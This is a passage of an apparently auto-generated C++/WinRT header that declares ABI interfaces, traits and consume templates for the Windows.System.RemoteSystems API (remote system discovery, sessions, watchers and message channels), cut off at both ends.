filters, Windows::System::RemoteSystems::IRemoteSystemWatcher ** result) = 0; virtual HRESULT __stdcall abi_RequestAccessAsync(Windows::Foundation::IAsyncOperation<winrt::Windows::System::RemoteSystems::RemoteSystemAccessStatus> ** operation) = 0; }; struct __declspec(uuid("0c98edca-6f99-4c52-a272-ea4f36471744")) __declspec(novtable) IRemoteSystemStatics2 : Windows::Foundation::IInspectable { virtual HRESULT __stdcall abi_IsAuthorizationKindEnabled(winrt::Windows::System::RemoteSystems::RemoteSystemAuthorizationKind kind, bool * value) = 0; }; struct __declspec(uuid("0c39514e-cbb6-4777-8534-2e0c521affa2")) __declspec(novtable) IRemoteSystemStatusTypeFilter : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_RemoteSystemStatusType(winrt::Windows::System::RemoteSystems::RemoteSystemStatusType * value) = 0; }; struct __declspec(uuid("33cf78fa-d724-4125-ac7a-8d281e44c949")) __declspec(novtable) IRemoteSystemStatusTypeFilterFactory : Windows::Foundation::IInspectable { virtual HRESULT __stdcall abi_Create(winrt::Windows::System::RemoteSystems::RemoteSystemStatusType remoteSystemStatusType, Windows::System::RemoteSystems::IRemoteSystemStatusTypeFilter ** result) = 0; }; struct __declspec(uuid("7502ff0e-dbcb-4155-b4ca-b30a04f27627")) __declspec(novtable) IRemoteSystemUpdatedEventArgs : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_RemoteSystem(Windows::System::RemoteSystems::IRemoteSystem ** value) = 0; }; struct __declspec(uuid("5d600c7e-2c07-48c5-889c-455d2b099771")) __declspec(novtable) IRemoteSystemWatcher : Windows::Foundation::IInspectable { virtual HRESULT __stdcall abi_Start() = 0; virtual HRESULT __stdcall abi_Stop() = 0; virtual HRESULT __stdcall add_RemoteSystemAdded(Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemWatcher, Windows::System::RemoteSystems::RemoteSystemAddedEventArgs> * handler, event_token * token) = 0; virtual HRESULT __stdcall remove_RemoteSystemAdded(event_token token) = 0; virtual HRESULT __stdcall add_RemoteSystemUpdated(Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemWatcher, Windows::System::RemoteSystems::RemoteSystemUpdatedEventArgs> * handler, event_token * token) = 0; virtual HRESULT __stdcall remove_RemoteSystemUpdated(event_token token) = 0; virtual HRESULT __stdcall add_RemoteSystemRemoved(Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemWatcher, Windows::System::RemoteSystems::RemoteSystemRemovedEventArgs> * handler, event_token * token) = 0; virtual HRESULT __stdcall remove_RemoteSystemRemoved(event_token token) = 0; }; } namespace ABI { template <> struct traits<Windows::System::RemoteSystems::RemoteSystem> { using default_interface = Windows::System::RemoteSystems::IRemoteSystem; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemAddedEventArgs> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemAddedEventArgs; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemAuthorizationKindFilter> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemAuthorizationKindFilter; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemConnectionRequest> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemConnectionRequest; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemDiscoveryTypeFilter> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemDiscoveryTypeFilter; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemKindFilter> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemKindFilter; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemRemovedEventArgs> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemRemovedEventArgs; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSession> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemSession; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionAddedEventArgs> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemSessionAddedEventArgs; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionController> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemSessionController; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionCreationResult> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemSessionCreationResult; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionDisconnectedEventArgs> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemSessionDisconnectedEventArgs; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionInfo> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemSessionInfo; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionInvitation> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemSessionInvitation; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionInvitationListener> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemSessionInvitationListener; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionInvitationReceivedEventArgs> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemSessionInvitationReceivedEventArgs; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionJoinRequest> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemSessionJoinRequest; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionJoinRequestedEventArgs> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemSessionJoinRequestedEventArgs; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionJoinResult> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemSessionJoinResult; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionMessageChannel> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemSessionMessageChannel; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionOptions> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemSessionOptions; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionParticipant> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemSessionParticipant; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionParticipantAddedEventArgs> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemSessionParticipantAddedEventArgs; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionParticipantRemovedEventArgs> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemSessionParticipantRemovedEventArgs; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionParticipantWatcher> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemSessionParticipantWatcher; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionRemovedEventArgs> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemSessionRemovedEventArgs; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionUpdatedEventArgs> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemSessionUpdatedEventArgs; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionValueSetReceivedEventArgs> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemSessionValueSetReceivedEventArgs; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionWatcher> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemSessionWatcher; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemStatusTypeFilter> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemStatusTypeFilter; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemUpdatedEventArgs> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemUpdatedEventArgs; }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemWatcher> { using default_interface = Windows::System::RemoteSystems::IRemoteSystemWatcher; }; } namespace Windows::System::RemoteSystems { template <typename D> struct WINRT_EBO impl_IKnownRemoteSystemCapabilitiesStatics { hstring AppService() const; hstring LaunchUri() const; hstring RemoteSession() const; hstring SpatialEntity() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystem { hstring DisplayName() const; hstring Id() const; hstring Kind() const; Windows::System::RemoteSystems::RemoteSystemStatus Status() const; bool IsAvailableByProximity() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystem2 { bool IsAvailableBySpatialProximity() const; Windows::Foundation::IAsyncOperation<bool> GetCapabilitySupportedAsync(hstring_view capabilityName) const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemAddedEventArgs { Windows::System::RemoteSystems::RemoteSystem RemoteSystem() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemAuthorizationKindFilter { Windows::System::RemoteSystems::RemoteSystemAuthorizationKind RemoteSystemAuthorizationKind() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemAuthorizationKindFilterFactory { Windows::System::RemoteSystems::RemoteSystemAuthorizationKindFilter Create(Windows::System::RemoteSystems::RemoteSystemAuthorizationKind remoteSystemAuthorizationKind) const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemConnectionRequest { Windows::System::RemoteSystems::RemoteSystem RemoteSystem() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemConnectionRequestFactory { Windows::System::RemoteSystems::RemoteSystemConnectionRequest Create(const Windows::System::RemoteSystems::RemoteSystem & remoteSystem) const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemDiscoveryTypeFilter { Windows::System::RemoteSystems::RemoteSystemDiscoveryType RemoteSystemDiscoveryType() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemDiscoveryTypeFilterFactory { Windows::System::RemoteSystems::RemoteSystemDiscoveryTypeFilter Create(Windows::System::RemoteSystems::RemoteSystemDiscoveryType discoveryType) const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemFilter { }; template <typename D> struct WINRT_EBO impl_IRemoteSystemKindFilter { Windows::Foundation::Collections::IVectorView<hstring> RemoteSystemKinds() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemKindFilterFactory { Windows::System::RemoteSystems::RemoteSystemKindFilter Create(iterable<hstring> remoteSystemKinds) const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemKindStatics { hstring Phone() const; hstring Hub() const; hstring Holographic() const; hstring Desktop() const; hstring Xbox() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemRemovedEventArgs { hstring RemoteSystemId() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSession { hstring Id() const; hstring DisplayName() const; hstring ControllerDisplayName() const; event_token Disconnected(const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSession, Windows::System::RemoteSystems::RemoteSystemSessionDisconnectedEventArgs> & handler) const; using Disconnected_revoker = event_revoker<IRemoteSystemSession>; Disconnected_revoker Disconnected(auto_revoke_t, const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSession, Windows::System::RemoteSystems::RemoteSystemSessionDisconnectedEventArgs> & handler) const; void Disconnected(event_token token) const; Windows::System::RemoteSystems::RemoteSystemSessionParticipantWatcher CreateParticipantWatcher() const; Windows::Foundation::IAsyncOperation<bool> SendInvitationAsync(const Windows::System::RemoteSystems::RemoteSystem & invitee) const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionAddedEventArgs { Windows::System::RemoteSystems::RemoteSystemSessionInfo SessionInfo() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionController { event_token JoinRequested(const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionController, Windows::System::RemoteSystems::RemoteSystemSessionJoinRequestedEventArgs> & handler) const; using JoinRequested_revoker = event_revoker<IRemoteSystemSessionController>; JoinRequested_revoker JoinRequested(auto_revoke_t, const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionController, Windows::System::RemoteSystems::RemoteSystemSessionJoinRequestedEventArgs> & handler) const; void JoinRequested(event_token token) const; Windows::Foundation::IAsyncOperation<bool> RemoveParticipantAsync(const Windows::System::RemoteSystems::RemoteSystemSessionParticipant & pParticipant) const; Windows::Foundation::IAsyncOperation<Windows::System::RemoteSystems::RemoteSystemSessionCreationResult> CreateSessionAsync() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionControllerFactory { Windows::System::RemoteSystems::RemoteSystemSessionController CreateController(hstring_view displayName) const; Windows::System::RemoteSystems::RemoteSystemSessionController CreateController(hstring_view displayName, const Windows::System::RemoteSystems::RemoteSystemSessionOptions & options) const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionCreationResult { Windows::System::RemoteSystems::RemoteSystemSessionCreationStatus Status() const; Windows::System::RemoteSystems::RemoteSystemSession Session() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionDisconnectedEventArgs { Windows::System::RemoteSystems::RemoteSystemSessionDisconnectedReason Reason() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionInfo { hstring DisplayName() const; hstring ControllerDisplayName() const; Windows::Foundation::IAsyncOperation<Windows::System::RemoteSystems::RemoteSystemSessionJoinResult> JoinAsync() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionInvitation { Windows::System::RemoteSystems::RemoteSystem Sender() const; Windows::System::RemoteSystems::RemoteSystemSessionInfo SessionInfo() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionInvitationListener { event_token InvitationReceived(const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionInvitationListener, Windows::System::RemoteSystems::RemoteSystemSessionInvitationReceivedEventArgs> & handler) const; using InvitationReceived_revoker = event_revoker<IRemoteSystemSessionInvitationListener>; InvitationReceived_revoker InvitationReceived(auto_revoke_t, const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionInvitationListener, Windows::System::RemoteSystems::RemoteSystemSessionInvitationReceivedEventArgs> & handler) const; void InvitationReceived(event_token token) const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionInvitationReceivedEventArgs { Windows::System::RemoteSystems::RemoteSystemSessionInvitation Invitation() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionJoinRequest { Windows::System::RemoteSystems::RemoteSystemSessionParticipant Participant() const; void Accept() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionJoinRequestedEventArgs { Windows::System::RemoteSystems::RemoteSystemSessionJoinRequest JoinRequest() const; Windows::Foundation::Deferral GetDeferral() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionJoinResult { Windows::System::RemoteSystems::RemoteSystemSessionJoinStatus Status() const; Windows::System::RemoteSystems::RemoteSystemSession Session() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionMessageChannel { Windows::System::RemoteSystems::RemoteSystemSession Session() const; Windows::Foundation::IAsyncOperation<bool> BroadcastValueSetAsync(const Windows::Foundation::Collections::ValueSet & messageData) const; Windows::Foundation::IAsyncOperation<bool> SendValueSetAsync(const Windows::Foundation::Collections::ValueSet & messageData, const Windows::System::RemoteSystems::RemoteSystemSessionParticipant & participant) const; Windows::Foundation::IAsyncOperation<bool> SendValueSetToParticipantsAsync(const Windows::Foundation::Collections::ValueSet & messageData, iterable<Windows::System::RemoteSystems::RemoteSystemSessionParticipant> participants) const; event_token ValueSetReceived(const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionMessageChannel, Windows::System::RemoteSystems::RemoteSystemSessionValueSetReceivedEventArgs> & handler) const; using ValueSetReceived_revoker = event_revoker<IRemoteSystemSessionMessageChannel>; ValueSetReceived_revoker ValueSetReceived(auto_revoke_t, const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionMessageChannel, Windows::System::RemoteSystems::RemoteSystemSessionValueSetReceivedEventArgs> & handler) const; void ValueSetReceived(event_token token) const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionMessageChannelFactory { Windows::System::RemoteSystems::RemoteSystemSessionMessageChannel Create(const Windows::System::RemoteSystems::RemoteSystemSession & session, hstring_view channelName) const; Windows::System::RemoteSystems::RemoteSystemSessionMessageChannel Create(const Windows::System::RemoteSystems::RemoteSystemSession & session, hstring_view channelName, Windows::System::RemoteSystems::RemoteSystemSessionMessageChannelReliability reliability) const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionOptions { bool IsInviteOnly() const; void IsInviteOnly(bool value) const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionParticipant { Windows::System::RemoteSystems::RemoteSystem RemoteSystem() const; Windows::Foundation::Collections::IVectorView<Windows::Networking::HostName> GetHostNames() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionParticipantAddedEventArgs { Windows::System::RemoteSystems::RemoteSystemSessionParticipant Participant() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionParticipantRemovedEventArgs { Windows::System::RemoteSystems::RemoteSystemSessionParticipant Participant() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionParticipantWatcher { void Start() const; void Stop() const; Windows::System::RemoteSystems::RemoteSystemSessionParticipantWatcherStatus Status() const; event_token Added(const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionParticipantWatcher, Windows::System::RemoteSystems::RemoteSystemSessionParticipantAddedEventArgs> & handler) const; using Added_revoker = event_revoker<IRemoteSystemSessionParticipantWatcher>; Added_revoker Added(auto_revoke_t, const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionParticipantWatcher, Windows::System::RemoteSystems::RemoteSystemSessionParticipantAddedEventArgs> & handler) const; void Added(event_token token) const; event_token Removed(const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionParticipantWatcher, Windows::System::RemoteSystems::RemoteSystemSessionParticipantRemovedEventArgs> & handler) const; using Removed_revoker = event_revoker<IRemoteSystemSessionParticipantWatcher>; Removed_revoker Removed(auto_revoke_t, const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionParticipantWatcher, Windows::System::RemoteSystems::RemoteSystemSessionParticipantRemovedEventArgs> & handler) const; void Removed(event_token token) const; event_token EnumerationCompleted(const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionParticipantWatcher, Windows::Foundation::IInspectable> & handler) const; using EnumerationCompleted_revoker = event_revoker<IRemoteSystemSessionParticipantWatcher>; EnumerationCompleted_revoker EnumerationCompleted(auto_revoke_t, const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionParticipantWatcher, Windows::Foundation::IInspectable> & handler) const; void EnumerationCompleted(event_token token) const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionRemovedEventArgs { Windows::System::RemoteSystems::RemoteSystemSessionInfo SessionInfo() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionStatics { Windows::System::RemoteSystems::RemoteSystemSessionWatcher CreateWatcher() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionUpdatedEventArgs { Windows::System::RemoteSystems::RemoteSystemSessionInfo SessionInfo() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionValueSetReceivedEventArgs { Windows::System::RemoteSystems::RemoteSystemSessionParticipant Sender() const; Windows::Foundation::Collections::ValueSet Message() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemSessionWatcher { void Start() const; void Stop() const; Windows::System::RemoteSystems::RemoteSystemSessionWatcherStatus Status() const; event_token Added(const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionWatcher, Windows::System::RemoteSystems::RemoteSystemSessionAddedEventArgs> & handler) const; using Added_revoker = event_revoker<IRemoteSystemSessionWatcher>; Added_revoker Added(auto_revoke_t, const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionWatcher, Windows::System::RemoteSystems::RemoteSystemSessionAddedEventArgs> & handler) const; void Added(event_token token) const; event_token Updated(const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionWatcher, Windows::System::RemoteSystems::RemoteSystemSessionUpdatedEventArgs> & handler) const; using Updated_revoker = event_revoker<IRemoteSystemSessionWatcher>; Updated_revoker Updated(auto_revoke_t, const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionWatcher, Windows::System::RemoteSystems::RemoteSystemSessionUpdatedEventArgs> & handler) const; void Updated(event_token token) const; event_token Removed(const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionWatcher, Windows::System::RemoteSystems::RemoteSystemSessionRemovedEventArgs> & handler) const; using Removed_revoker = event_revoker<IRemoteSystemSessionWatcher>; Removed_revoker Removed(auto_revoke_t, const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionWatcher, Windows::System::RemoteSystems::RemoteSystemSessionRemovedEventArgs> & handler) const; void Removed(event_token token) const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemStatics { Windows::Foundation::IAsyncOperation<Windows::System::RemoteSystems::RemoteSystem> FindByHostNameAsync(const Windows::Networking::HostName & hostName) const; Windows::System::RemoteSystems::RemoteSystemWatcher CreateWatcher() const; Windows::System::RemoteSystems::RemoteSystemWatcher CreateWatcher(iterable<Windows::System::RemoteSystems::IRemoteSystemFilter> filters) const; Windows::Foundation::IAsyncOperation<winrt::Windows::System::RemoteSystems::RemoteSystemAccessStatus> RequestAccessAsync() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemStatics2 { bool IsAuthorizationKindEnabled(Windows::System::RemoteSystems::RemoteSystemAuthorizationKind kind) const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemStatusTypeFilter { Windows::System::RemoteSystems::RemoteSystemStatusType RemoteSystemStatusType() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemStatusTypeFilterFactory { Windows::System::RemoteSystems::RemoteSystemStatusTypeFilter Create(Windows::System::RemoteSystems::RemoteSystemStatusType remoteSystemStatusType) const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemUpdatedEventArgs { Windows::System::RemoteSystems::RemoteSystem RemoteSystem() const; }; template <typename D> struct WINRT_EBO impl_IRemoteSystemWatcher { void Start() const; void Stop() const; event_token RemoteSystemAdded(const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemWatcher, Windows::System::RemoteSystems::RemoteSystemAddedEventArgs> & handler) const; using RemoteSystemAdded_revoker = event_revoker<IRemoteSystemWatcher>; RemoteSystemAdded_revoker RemoteSystemAdded(auto_revoke_t, const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemWatcher, Windows::System::RemoteSystems::RemoteSystemAddedEventArgs> & handler) const; void RemoteSystemAdded(event_token token) const; event_token RemoteSystemUpdated(const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemWatcher, Windows::System::RemoteSystems::RemoteSystemUpdatedEventArgs> & handler) const; using RemoteSystemUpdated_revoker = event_revoker<IRemoteSystemWatcher>; RemoteSystemUpdated_revoker RemoteSystemUpdated(auto_revoke_t, const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemWatcher, Windows::System::RemoteSystems::RemoteSystemUpdatedEventArgs> & handler) const; void RemoteSystemUpdated(event_token token) const; event_token RemoteSystemRemoved(const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemWatcher, Windows::System::RemoteSystems::RemoteSystemRemovedEventArgs> & handler) const; using RemoteSystemRemoved_revoker = event_revoker<IRemoteSystemWatcher>; RemoteSystemRemoved_revoker RemoteSystemRemoved(auto_revoke_t, const Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemWatcher, Windows::System::RemoteSystems::RemoteSystemRemovedEventArgs> & handler) const; void RemoteSystemRemoved(event_token token) const; }; } namespace impl { template <> struct traits<Windows::System::RemoteSystems::IKnownRemoteSystemCapabilitiesStatics> { using abi = ABI::Windows::System::RemoteSystems::IKnownRemoteSystemCapabilitiesStatics; template <typename D> using consume = Windows::System::RemoteSystems::impl_IKnownRemoteSystemCapabilitiesStatics<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystem> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystem; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystem<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystem2> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystem2; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystem2<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemAddedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemAddedEventArgs; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemAddedEventArgs<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemAuthorizationKindFilter> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemAuthorizationKindFilter; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemAuthorizationKindFilter<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemAuthorizationKindFilterFactory> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemAuthorizationKindFilterFactory; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemAuthorizationKindFilterFactory<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemConnectionRequest> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemConnectionRequest; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemConnectionRequest<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemConnectionRequestFactory> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemConnectionRequestFactory; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemConnectionRequestFactory<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemDiscoveryTypeFilter> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemDiscoveryTypeFilter; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemDiscoveryTypeFilter<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemDiscoveryTypeFilterFactory> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemDiscoveryTypeFilterFactory; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemDiscoveryTypeFilterFactory<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemFilter> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemFilter; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemFilter<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemKindFilter> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemKindFilter; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemKindFilter<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemKindFilterFactory> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemKindFilterFactory; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemKindFilterFactory<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemKindStatics> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemKindStatics; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemKindStatics<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemRemovedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemRemovedEventArgs; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemRemovedEventArgs<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSession> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSession; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSession<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionAddedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionAddedEventArgs; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionAddedEventArgs<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionController> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionController; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionController<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionControllerFactory> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionControllerFactory; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionControllerFactory<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionCreationResult> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionCreationResult; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionCreationResult<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionDisconnectedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionDisconnectedEventArgs; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionDisconnectedEventArgs<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionInfo> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionInfo; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionInfo<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionInvitation> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionInvitation; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionInvitation<D>; }; template <> struct 